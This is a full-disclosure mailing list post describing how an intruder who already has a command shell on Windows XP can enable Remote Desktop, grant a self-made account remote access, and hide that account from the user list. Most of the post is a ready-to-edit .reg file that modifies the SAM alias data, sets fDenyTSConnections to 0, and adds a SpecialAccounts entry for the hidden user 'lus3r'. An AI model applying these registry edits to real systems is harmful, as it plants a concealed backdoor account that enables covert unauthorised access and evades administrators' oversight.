full-disclosure - XP Remote Desktop Remote Activation

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From: fixer907 at gmail.com (Fixer)
Subject: XP Remote Desktop Remote Activation

XP Remote Desktop Remote Activation


Information
____________________________________________________________________
Windows XP Professional provides a service called Remote Desktop,
which allows a user to remotely control the desktop as if he or she
were in front of the system locally (ala VNC, pcAnywhere, etc.).

By default, Remote Desktop is shipped with this service turned off and
only the Administrator is allowed access to this service.  It is
possible, however, to modify a series of registry keys that may allow
a malicious user who has already gained a command shell to activate
Remote Desktop and add a user they have created for themselves as well
as to hide that user so that it will not show up as a user in the
Remote Desktop user list.  The instructions for this are attached. 
Additionally, I have listed a sample .reg file of the type that is
discussed in the instructions below.
_____________________________________________________________________

Final Stuff

To the Frozen Chozen...On-On (www.frozen-chozen-h3.org)  

On to the exploit....   Fixer


_____________________________________________________________________

.reg file  (remember, the xx xx are the values you need to change)

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Builtin\Aliases\0000022B]
"C"=hex:2b,02,00,00,00,00,00,00,b0,00,00,00,02,00,01,00,b0,00,00,00,28,00,00,\
  00,00,00,00,00,d8,00,00,00,7a,00,00,00,00,00,00,00,54,01,00,00,1c,00,00,00,\
  01,00,00,00,01,00,14,80,90,00,00,00,a0,00,00,00,14,00,00,00,44,00,00,00,02,\
  00,30,00,02,00,00,00,02,c0,14,00,13,00,05,01,01,01,00,00,00,00,00,01,00,00,\
  00,00,02,c0,14,00,ff,ff,1f,00,01,01,00,00,00,00,00,05,07,00,00,00,02,00,4c,\
  00,03,00,00,00,00,00,14,00,0c,00,02,00,01,01,00,00,00,00,00,01,00,00,00,00,\
  00,00,18,00,1f,00,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,00,\
  00,18,00,1f,00,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,24,02,00,00,01,02,\
  00,00,00,00,00,05,20,00,00,00,20,02,00,00,01,02,00,00,00,00,00,05,20,00,00,\
  00,20,02,00,00,52,00,65,00,6d,00,6f,00,74,00,65,00,20,00,44,00,65,00,73,00,\
  6b,00,74,00,6f,00,70,00,20,00,55,00,73,00,65,00,72,00,73,00,4d,00,65,00,6d,\
  00,62,00,65,00,72,00,73,00,20,00,69,00,6e,00,20,00,74,00,68,00,69,00,73,00,\
  20,00,67,00,72,00,6f,00,75,00,70,00,20,00,61,00,72,00,65,00,20,00,67,00,72,\
  00,61,00,6e,00,74,00,65,00,64,00,20,00,74,00,68,00,65,00,20,00,72,00,69,00,\
  67,00,68,00,74,00,20,00,74,00,6f,00,20,00,6c,00,6f,00,67,00,6f,00,6e,00,20,\
  00,72,00,65,00,6d,00,6f,00,74,00,65,00,6c,00,79,00,00,00,01,05,00,00,00,00,\
  00,05,15,00,00,00,d8,52,bb,80,c4,9d,6f,b9,b9,67,c7,13,xx,xx,00,00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]
"lus3r"=dword:00000000

(obviously change "lus3r" to the name of the account you created)
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